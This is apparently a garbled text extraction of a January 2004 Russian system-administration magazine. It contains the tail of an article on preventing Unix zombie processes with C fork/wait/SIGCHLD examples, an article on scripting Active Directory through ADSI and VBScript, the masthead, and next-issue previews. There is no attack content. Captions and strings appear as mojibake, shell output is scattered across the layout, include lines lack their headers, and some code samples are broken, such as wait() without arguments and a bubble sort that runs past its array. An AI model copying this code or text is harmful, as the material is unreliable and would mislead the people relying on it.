Разобравшись с тем, что представляют собой зомби, стоит ознакомиться с некоторыми способами устранения создаваемой зомби проблемы. Один из самых простых способов «убить» зомби – это «убить» их родителя. Если в системе «умирает» какой-либо процесс, то специальный демон init наследует всех потомков умершего процесса и удаляет их, если они уже завершили своё выполнение. Но у нас может не хватать прав на удаление родителя. Возможна ситуация, когда родитель выполняет какие-то необходимые нам действия, и, удалив его, можно потерять данные. Может быть множество причин, препятствующих этому способу. И нам останется только по очереди убивать всех зомби. Очевидно, что лучше предотвратить зомби, нежели с ними бороться. Одним из решений является использование вышеупомянутой функции wait. #include <sys/types.h> #include <unistd.h> #include <stdio.h> int main(){ pid_t our_child; our_child= fork(); if(our_child == 0){ return 0; } sleep(10); wait(); getchar(); return 0;

ps ax [dashin@dashin zombies]$ ps ax PID TTY STAT TIME COMMAND 1 ? S 0:05 init .............................................. 18730 pts/4 18767 pts/4 18768 pts/4 18864 pts/5 [dashin@dashin

S S Z R

0:00 0:00 0:00 0:00 zombies]$

№1(14), январь 2004

bash -rcfile .bashrc ./one_zomb [one_zomb <defunct>] ps ax

}

Для наглядности этого примера выполним команду: top -d 1

программирование и параллельно выполним предварительно откомпилированный пример (см. рис.1). Как и ожидалось, наш зомби, просуществовав около 10 секунд, будет удалён. Учитывая то, что если дочерний процесс прерван или остановлен, он шлёт своему родителю сигнал SIGCHLD, тогда можно сделать у родителя обработчик этого сигнала и в нём вызывать wait. #include #include #include #include

void killchld(){ wait(); } int main(){ pid_t our_child; int i; signal(SIGCHLD, killchld); for(i=1;i< 0xFF;i++){ our_child= fork(); if(our_child == 0){ return 0; } } getchar(); return 0; }

В данном примере мы устанавливаем обработчик сигнала SIGCHLD вызовом signal. В качестве первого пара-

Ðèñóíîê 1. Âèäèìî, íå òîëüêî ìû óìååì ïîðîæäàòü çîìáè

метра signal имеет сигнал (точнее сказать – номер сигнала), который мы собираемся обрабатывать, а второй параметр – имя нашей функции-обработчика. Но здесь есть одна небольшая тонкость – если в качестве второго параметра установим SIG_IGN, то наши зомби будут умирать, но как сказано в man: «POSIX (3.3.1.3) не определяет, что случается при SIGCHLD, который установлен в SIG_IGN». То есть если у нас следующий пример будет работать в Linux – не значит, что он будет работать в BSD. Следовательно, таким способом пользоваться не рекомендуется. #include #include #include #include

int main(){ pid_t our_child; signal(SIGCHLD, SIG_IGN); int i; for(i=1;i< 0xFF;i++){ our_child= fork(); if(our_child == 0){ return 0; } } getchar(); return 0; }

//òàê äåëàòü íå ñòîèò

Способ избежать зомби в большинстве случаев зависит от ситуации. Важно помнить, что зомби нужны забота и внимание. И только тогда они не будут вас беспокоить.

образование

образование В своей работе системному администратору часто приходится выполнять рутинные действия, которые отнимают много времени и требуют повышенного внимания. Управление Active Directory является одной из приоритетных задач системного администратора. Программное администрирование Active Directory позволит сэкономить время и свести к минимуму влияние человеческого фактора. Используя провайдеры LDAP и WinNT, системный администратор сможет с помощью сценария загрузки управлять подключением сетевых ресурсов; создавать скрипты, которые позволят автоматизировать рутинные операции. Умелое сочетание возможностей провайдеров WinNT и LDAP дает превосходный результат. Как показывает опыт, без теоретических знаний о механизме работы Active Directory и ADSI, базируясь на приведенных в Интернете примерах, очень трудно понять что к чему. В данной статье предпринята попытка поставить все точки над «и», не оторвав при этом теорию от практики (программирования Active Directory).

Программное управление с помощью VBScript Как отмечалось ранее, для управления ADSI могут быть использованы VB/VBScript, JScript, C/C++. Для программного управления – компьютером, выполняющим роль контроллера домена, на котором установлена Active Directory, следует использовать стандартные средства, предлагаемые компанией Microsoft. Одним из таких стандартных средств является VBScript. Использование этого языка программирования дает огромные преимущества. Скрипты, написанные на VBScript помогут системному администратору не только управлять Active Directory, но и создавать сценарии загрузки для входа в сеть. По сравнению с С/С++, программный код на VBScript в несколько раз меньше, а по функциям равнозначен. Использование WHS (Windows Hosting Script) и WMI (Windows Management Instrument) совместно с программированием Active Directory позволит решать сложные задачи администрирования. И WSH, и WMI также являются стандартными средствами и поддерживают VBScript. Программирование WMI рассмотрено в статье «Решение задач инвентаризации в сети» в журнале «Системный администратор» №12(13) за 2003 год. Использование VBScript позволяет создавать скрипты – текстовые файлы с расширением VBS, которые используются как сценарии загрузки при регистрации пользователей в сети, в виде сайтов на основе ASP. ASPстраница является синтезом HTML и VBScript. В отличие от HTML-страниц, ASP-страницы поддерживают OLEобъекты. Это позволяет использовать в ASP-страницах программирование WMI, WSH, ADSI. Создавая сценарии на любом языке программирования, необходимо пристально следить за тем, чтобы конечный продукт было легко внедрять и эксплуатировать. Сценарий загрузки не должен содержать явных записей в программном коде. Например, название текущего домена, если речь идет о программировании ADSI, необходимо определять программно, а не прописывать явным образом. Те параметры, которые невозможно определить с помощью сценария, например месторасположение папки, в которой должны размещаться файлы отчетов, должны быть

№1(14), январь 2004

прописаны в конфигурационном файле. Таким образом, в тексте скрипта явным образом будет прописан только один параметр – путь к конфигурационному файлу. Используя в скриптах массивы для передачи данных, при определении массива задавайте заведомо большее количество элементов в массиве, чем это необходимо, например Array(1000). После занесения данных в массив переопределите размер массива с помощью функции ReDim Preserve Array(i), где i – новый размер массива. При использовании цикла For определяйте границы массивов с помощью функций Lbound(Array) – нижняя граница массива, Ubound(Array) – верхняя граница (см. Пример 1а). Существует второй способ работы с массивами, который в основном используется в программировании ADSI – использование конструкции FOR EACH element IN array (см. Пример 1б). Ïðèìåð 1à

Ïðèìåð 1á

i= Lbound(Array) For i To Ubound(Array) element=Array(i) ……………………… Next

For Each i in Array element=Array(i) next

Продолжая развивать тему операций с массивами, необходимо уделить внимание механизму упорядочивания массивов и поиску среди элементов массива заданного выражения. Наиболее простым методом упорядочивания массивов является пузырьковый метод. Суть метода заключается в том, что при несоблюдении условия упорядочивания массива смежные элементы меняются местами. Тем самым элементы массива становятся друг за другом в заданном порядке – происходит упорядочивание. Ïðèìåð 2 Dim Array(100) …………………… For j=0 to Ubound(Array) For i=0 to Ubound(Array) If StrComp(Array_sort(i),Array_sort(i+1),0)=1 Then temp=Array(i) Array (i)=Array(i+1) Array(i+1)=temp End if Next Next

Осуществление процедуры поиска в независимости от регистра символов является задачей, решать которую приходится очень часто. Для обеспечения процедуры поиска формируется массив, среди элементов которого происходит поиск. Для того чтобы сделать функцию поиска нечувствительной к регистру символов, необходимо использовать функцию, преобразующую все символы строки в большие или в маленькие. Это касается как элементов массива, так и искомой строки. Для преобразования строки в маленькие буквы используют функцию Lcase(string), для преобразования в большие – Ucase(string). Ïðèìåð 3 Dim Array(100) ……………….. Dim SearchString="string" For i=0 to Ubound(Array)

образование if Instr(Lcase(Array(i)),LCase(SearchString)) then MsgBox "Ñòðîêà íàéäåíà" else MsgBox "Ñòðîêà íå íàéäåíà" End if Next

Active Directory Active Directory (AD) – это служба каталогов, которая является иерархической базой данных, обеспечивающей централизованное управление сетью. Active Directory хранит в себе информацию об объектах сети и обеспечивает доступ к этой информации пользователям, компьютерам и приложениям. Active Directory обладает следующими особенностями: Масштабируемость. В отличие от большинства других баз данных, которые являются реляционными, база данных Active Directory является иерархической. В базах данных взаимосвязи между записями определяются при помощи ключей, которые хранятся совместно с данными. В иерархической базе данных взаимосвязи между записями имеют характер «родитель-потомок»: каждая запись, за исключением корневой, обладает родительской записью. У каждой родительской записи может быть один или несколько потомков. Иерархическая база данных позволяет хранить большое количество объектов, при этом быстро получать доступ к необходимым объектам. Поддержка открытых стандартов. Active Directory объединяет в себе концепцию пространства имен интернета со службой каталогов Windows NT, что позволяет объединить и управлять различными пространствами имен в разноразрядных аппаратных и программных средах. Для управления пространством имен Active Directory используется библиотека интерфейса службы активного каталога (Active Directory Service Interface – ADSI). Поддержка стандартных форматов имен. Active Directory поддерживает несколько общих форматов имен. Этот факт позволяет приложениям и пользователям получать доступ к каталогу, применяя наиболее удобный для них формат: Òàáëèöà 1

DNS и Active Directory Для иерархического именования доменов и компьютеров в Active Directory используется система DNS, поэтому объекты доменов и компьютеров являются как частью иерархии доменов DNS, так и иерархией доменов Active Directory. Несмотря на то, что имена в обеих системах идентичны, они относятся к различным пространствам имен. Взаимодействие DNS-имен доменов и их IP-адресов в Active Directory реализовано в согласии с общепринятыми соглашениями об именовании в DNS. Доменная система именования (Domain Name System, DNS) представляет собой базу данных, реализующую иерархическую систему именования для идентификации хостов. Основная функция DNS (см. RFC 1034 и RFC 1035) заключается в прямом и обратном разрешении имен компьютеров в IP-адреса. База данных DNS – это древовидная структура, называемая пространством имен доменов (domain space name). В Windows 2000 полное доменное имя (Fully Qualified Domain Name, FQDN) компьютера состоит из 2 частей: Имя DNS-узла. Крайняя левая метка – это полноценное имя DNS-узла, идентифицирующее учетную запись компьютера, хранящуюся в Active Directory. Кроме того, это имя локальной учетной записи компьютера в диспетчере безопасности учетных записей (Security Account Manager, SAM) на рабочей станции или рядовом сервере (не контроллер домена). По умолчанию имя DNS-узла также используется в качестве NetBIOSимени. Это делается для совместимости с доменами на основе Windows NT 3.51 и Windows NT 4, а также для совместимости с рабочими станциями под управлением 9х. Основное имя DNS-имени домена. По умолчанию – это домен Windows, к которому относится данный компьютер (см. рис. 1).

Ðèñóíîê 1. Ïîðÿäîê ïîñòðîåíèÿ èìåí FQDN

Кроме DNS-имен компьютеров, контроллеры домена Active Directory идентифицируются по видам предоставляемых ими служб: серверы протокола LDAP (Lightweight Directory Access Protocol); контроллеры доменов; сервер глобального каталога GC (Global Catalog). Получив указание на имя домена и службу, сервер DNS способен найти контроллер со службой искомого типа в данном домене. Глобальный каталог (Global Catalog, GC) – это контроллер домена, в котором существуют три доступных для записи каталога: домена, схемы и конфигурации. Каталог автоматически создается при репликации Active Directory. Все разделы каталогов на сервере глобального каталога хранятся в одной базе данных каталога (Ntds.dit). Глобальный каталог хранит сведения обо всех лесах, поэтому его можно использовать для поиска любых объектов в лесу без переадресации на другие серверы. Если запрос на поиск послан по порту 389 (стан-

образование дартный порт протокола LDAP), то в случае неудачного поиска запрос будет последовательно передаваться другим контроллерам домена. В том случае, если обращение идет по стандартному порту глобального каталога (GC) 3268, поиск ведется по всем разделам леса. Для безопасного доступа к службам следует использовать порты, использующие SSL: Òàáëèöà 2

Пример чтения: чтение глобального каталога на VBScript. В результате скрипт выдает имя домена: Ïðèìåð 4 temp="" Set gc = GetObject("GC:") For each child in gc temp=temp+child.name Next msgbox temp

Архитектура службы каталогов Active Directory Чтобы понять, как хранятся и обрабатываются данные в Active Directory, необходимо представлять себе, как взаимодействуют отдельные компоненты этой службы каталогов. Службу каталогов можно представить в виде многоуровневой структуры. Существует три уровня служб и несколько интерфейсов и протоколов, которые образуют полный спектр служб каталогов (см. рис. 2). Три уровня служб содержат все данные для нахождения записей в базе данных каталога. Выше уровня служб находятся протоколы и API-интерфейсы, которые обеспечивают взаимодействие между клиентами и службами каталогов или при репликации – между службами каталогами.

ядро базы данных (Extensible Storage Engine, ESE),

работающее непосредственно с записями хранилища каталогов, различает объекты по атрибуту относительно составного каталога. хранилище данных (файл базы данных Ntds.dit). С этим файлом может работать только ядро базы данных. Обращаться напрямую к этому файлу можно только с помощью программы Ntdsutil, которая находится в папке Support/Tools на диске с операционной системой Windows 2000 Server.

Клиенты получают доступ к Active Directory по одному из перечисленных механизмов: 1) LDAP/ADSI. Клиенты, поддерживающие протокол LDAP, используют его для доступа к агенту системы каталогов. Интерфейсы службы каталогов Active Directory (Active Directory Service Interface – ADSI) служат для абстрагирования от LDAP интерфейса прикладного программирования (API), представляя COM-интерфейсы для взаимодействия с Active Directory. Однако нужно помнить, что в Active Directory используется только LDAP; 2) MAPI. При обмене сообщениями и коллективной работе клиенты MS Outlook подключаются к агенту системы каталогов по механизму вызова удаленных процедур MAPI через интерфейс средства доступа к адресной книге. 3) SAM. Клиенты MS Windows NT 4.0 и ранее Windows 9x подключаются к агенту системы каталогов (DSA) через SAM; 4) REPL. В процессе репликации каталогов агент системы каталогов (DSA) Active Directory взаимодействует через RPC-интерфейс. Как показано на схеме, существует четыре способа доступа к Active Directory. С точки зрения программного управления Active Directory системного администратора интересует только ADSI. ADSI поддерживает такие языки программирования, как C/C++, VB/VBScript, Jscript, WSH, и представляет объекты Active Directory в виде COMобъектов, а управление осуществляется с помощью СОМинтерфейсов. Провайдеры ADSI (ADSI providers) представляют объекты ADSI в соответствующие пространства имен, т.е. они преобразуют вызовы СОМ-интерфейсов к запросам API конкретной службы каталогов.

Объектная модель ADSI Наглядная схема объектной модели ADSI приведена на рисунке. Ðèñóíîê 2. Àðõèòåêòóðà ñëóæá Active Directory

Далее перечислены основные службы-компоненты Active Directory: агент системы каталогов (directory system agent, DSA) формирует иерархию каталога на основе отношений родитель-потомок и обеспечивает интерфейс прикладного программирования (application programming interfece, API) для запросов на доступ к каталогу; уровень базы данных является промежуточным уровнем – уровнем абстракций между базой данных и приложениями;

№1(14), январь 2004

Ðèñóíîê 4. Îáúåêòíàÿ ìîäåëü ADSI

образование Схема условно поделена на три части. Используя клиента – язык программирования, скрипт получает доступ к COM-объектам. Объекты могут быть двух видов – классы и подклассы. Обращение к подклассам осуществляется через классы, однако на схеме это не показано, чтобы не загромождать рисунок. С помощью COMобъекта через протокол LDAP или WinNT сценарий загрузки получает доступ к выбранному элементу объектной модели. Пространство имен условно обозначено треугольником; квадратами обозначены классы, а кружками – подклассы. Методы доступа к каждому из перечисленных протоколов отличаются, однако можно привести пример, который наглядно демонстрирует приведенную схему: Ïðèìåð 5: Set obj=GetObject("Protocol://ClassName") For each SubClass in ClassName temp=SubClass.Property Next

Программное управление Active Directory часто используется именно этим провайдером. Запрос провайдеру LDAP составляется в формате LDAP URL (см. RFC 1779, RFC 2247): LDAP://HostName[:PortNumber][/DistinguishedName]

Провайдер WinNT ADSI поддерживает доступ к каталогам Microsoft Window 4.0/3.x, обеспечивает связь с PDC и BDC. Провайдер WinNT в основном используется для работы с принтерами. Причина проста: в отличие от провайдера LDAP провайдер WinNT рассматривает принтер не как сетевое, а как локальное устройство. Только с помощью провайдера WinNT можно управлять состоянием и очередями принтеров. Совместное использование обоих провайдеров позволит осуществлять мониторинг и управление сетевыми принтерами домена (см. статью «Управление сетевыми принтерами» в журнале «Системный администратор» №10(11) за 2003 г.). Порядок построения запроса для провайдера WinNT в формате UNC следующий: WinNT:[//DomainName[/ComputerName[/ObjectName[,className]]]]

Провайдеры ADSI Интерфейс ADSI поддерживает следующие провайдеры, с помощью которых осуществляется программное администрирование: Òàáëèöà 3

Для определения всех доступных протоколов на вашем компьютере необходимо использовать службу ADS: Ïðèìåð 5 Set obj=GetObject("ADs:") For Each provider IN obj temp = temp + provider.name + chr(13) Next MsgBox temp

Из всех перечисленных провайдеров будут рассмотрены только LDAP и WINNT. Провайдер ADSI LDAP выполняется на клиенте ADSI и обеспечивает доступ к Active Directory. Кроме служб каталогов Active Directory Windows 2000, LDAP-провайдер обеспечивает доступ к: Netscape Directory Server; Microsoft Exchange Server 5.x и выше; Microsoft Commercial Internet System (MCIS) Address Book Server.

Заключение Получив фундаментальные знания о построении Active Directory, поддерживаемых форматов имен и провайдером, принципах программирования скриптов, можно приступать к изучению объектных моделей провайдером. Как ни странно, даже исчерпывающие знания объектной модели, умение применять на практике различные методы, обеспечиваемые провайдерами, не позволяют успешно программировать ADSI. По собственному опыту могу сказать, что не зная основы (теории), которая сначала кажется лишней, невозможно добиться корректной работы скрипта в 100% случаях. Приведу один маленький, но очень наглядный пример: в статье «Управление сетевыми принтерами» в журнале «Системный администратор» №10 за 2003 г. рассказано о том, как с помощью небольшого сайта, написанном на ASP, управлять сетевыми принтерами домена. Не секрет, что сначала создаются наработки – небольшие сценарии, затем состыковывая эти небольшие отрывки между собой, получают решение какой-либо задачи. Заготовки были написаны на VBS, а сайт написан на ASP, который хоть и поддерживает VBS, все же накладывает свой отпечаток. После завершения создания сайта было замечено, что он довольно часто выдает ошибку связанную с тем, что невозможно найти базу, хотя все отрывки на VBS были оттестированы и признаны работающими корректно. Сначала грешили на репликацию двух контроллеров домена. Однако, оказалось, что проблема была в том, что имя сервера печати в провайдере LDAP необходимо было указывать в полном формате, т.е. не server, а server.domain.com. Несмотря на то, что VBS к формату имени равнодушен, для ASP это оказалось принципиальным. Посмотрите таблицу 1 и сразу станет ясно какой формат имен необходимо использовать. Итак, знание теории и вытекающих из нее нюансов, поможет сэкономит время при создании и отладке продукта.

Продолжается подписка на I полугодие 2004 г. Более подробная информация на сайте www.samag.ru в разделе «Подписка»

Единый подписной индекс:

81655 по каталогу агентства «Роспечать»

Рады видеть Вас нашими читателями!

№1(14), январь 2004

СИСТЕМНЫЙ АДМИНИСТРАТОР №1(14), Январь, 2004 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Научно-технические консультанты Дмитрий Горяинов Павел Закляков Андрей Бешков Валерий Цуканов Сергей Можайский РЕКЛАМНАЯ СЛУЖБА тел./факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103045, г. Москва, Ананьевский переулок, дом 4/2 стр. 1 тел./факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ООО «Мастер Печати» Тираж 6600 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Запуск Windows-приложений под Linux c помощью CrossOver Office Для большинства людей сложность использования Linux состоит не в том, что нужно перейти на совершенно отличную от Windows систему, а в отсутствии привычного окружения. Несмотря на впечатляющие успехи офисных программ от Open Office, многим все же милее Microsoft Office. Да и почту многие любят читать ни чем иным, как TheBat или Outlook. Сегодня мы поговорим о том, как с помощью CroosOver Office запустить и успешно работать с Windows-приложениями под управлением Linux.

Уязвимости в MS Windows, или В поисках решения проблемы по SUSекам Microsoft За последнее время значительно участились сетевые атаки, проводимые через Интернет, причем их успешность в подавляющем числе случаев обусловлена вовсе не выдающимися способностями атакующих. У многих в памяти еще свежи воспоминания о лихорадке, вызванной уязвимостью в MS SQL Server 2000, или недавней эпидемии червя W32.blaster, эксплуатирующего уязвимость в службе RPC/DCOM. Масштаб этих атак был колоссален. В этой статье будут рассмотрены различные способы автоматизации процесса установки критических обновлений для ОС MS Windows (2000/XP/2003).

Жизненный цикл червей Червями принято называть сетевые вирусы, проникающие в зараженные машины вполне естественным путем, без каких-либо действий со стороны пользователя. Они ближе всех остальных вирусов подобрались к модели своих биологических прототипов и потому чрезвычайно разрушительны и опасны. Их не берут никакие привентивные меры защиты, антивирусные сканеры и вакцины до сих пор остаются крайне неэффективными средствами борьбы. Нашествие червей нельзя предвидеть и практически невозможно остановить. Но все-таки черви уязвимы. Чтобы одолеть червя, вы должны знать структуру его программного кода, основные «повадки», наиболее вероятные алгоритмы внедрения и распространения. Сеть Интернет в целом и операционные системые в частности – это настоящий лабиринт, и вам понадобится его подробная карта с отметками секретных троп и черных ходов, используемых червями для скрытого проникновения в нервные узлы жертвы.

Программное управление ADSI: WINNT В предыдущей статье были рассмотрены теоретические аспекты построения Active Directory и проведен обзор доступных провайдеров, с помощью которых можно программно управлять Active Directory. Одним из таких провайдеров является WinNT, основы программирования которого будут рассмотрены в данной статье.

Наши партнеры